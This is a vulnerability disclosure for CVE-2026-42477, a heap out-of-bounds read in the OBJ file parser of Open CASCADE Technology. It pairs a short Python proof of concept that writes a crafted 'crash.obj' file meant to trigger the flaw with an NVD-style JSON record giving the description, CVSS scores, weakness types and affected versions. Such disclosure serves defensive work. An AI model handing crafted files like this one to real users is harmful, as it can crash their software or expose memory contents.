CVE-2026-42477

import sys # PoC for CVE-2026-42477: Heap OOB Read in OCCT # Generates a crafted OBJ file that triggers the vulnerability # when the parser expects more than 1 byte to perform aLine + 2 offset. def generate_malicious_obj(filename): # The vulnerability occurs when ReadLine returns a 1-byte buffer # but the code calls pushIndices(aLine + 2). # We construct a line that is minimal. with open(filename, 'w') as f: # Write a valid header to ensure it's parsed as OBJ f.write("# Malicious OBJ for CVE-2026-42477\n") # Attempt to trigger the short read condition # If a line is just "v" (1 byte) + newline, ReadLine might return "v". # pushIndices("v" + 2) -> OOB Read. f.write("v\n") # Add some dummy data to ensure file structure f.write("o object\n") f.write("f 1 2 3\n") if __name__ == "__main__": generate_malicious_obj("crash.obj") print("[*] Created crash.obj. Open it with OCCT V8_0_0_rc5 to trigger.")

{"cve": {"id": "CVE-2026-42477", "sourceIdentifier": "[email protected]", "published": "2026-05-01T15:16:43.737", "lastModified": "2026-05-10T14:16:50.350", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based out-of-bounds read vulnerability in RWObj_Reader::read in the OBJ file parser in Open CASCADE Technology (OCCT) V8_0_0_rc5 allows user-assisted attackers to cause a denial of service or obtain sensitive information by persuading a victim to open a crafted OBJ file. The issue occurs because Standard_ReadLineBuffer::ReadLine() can return a 1-byte buffer for a minimal OBJ line, and RWObj_Reader::read() calls pushIndices(aLine + 2) without validating the buffer length."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.9.3", "matchCriteriaId": "13B8FE30-EAE8-4F3E-8F5C-E81BD438FF6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "0B51DDC9-FDA5-4701-8CA3-5B589D72FA88"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "57733587-FB01-4201-8509-E81B6AE94AE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "86CF4B98-CCD3-4463-9A24-231128DDF85A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F3987B9C-2448-4281-9A5C-FB6AF0336C3B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "632D1594-AD1F-4F80-86F7-F8850F3574EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "267468E1-F54F-44AF-B74F-DFD29354243B"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/dfba083d04906283e9c92aea78e2d94a", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}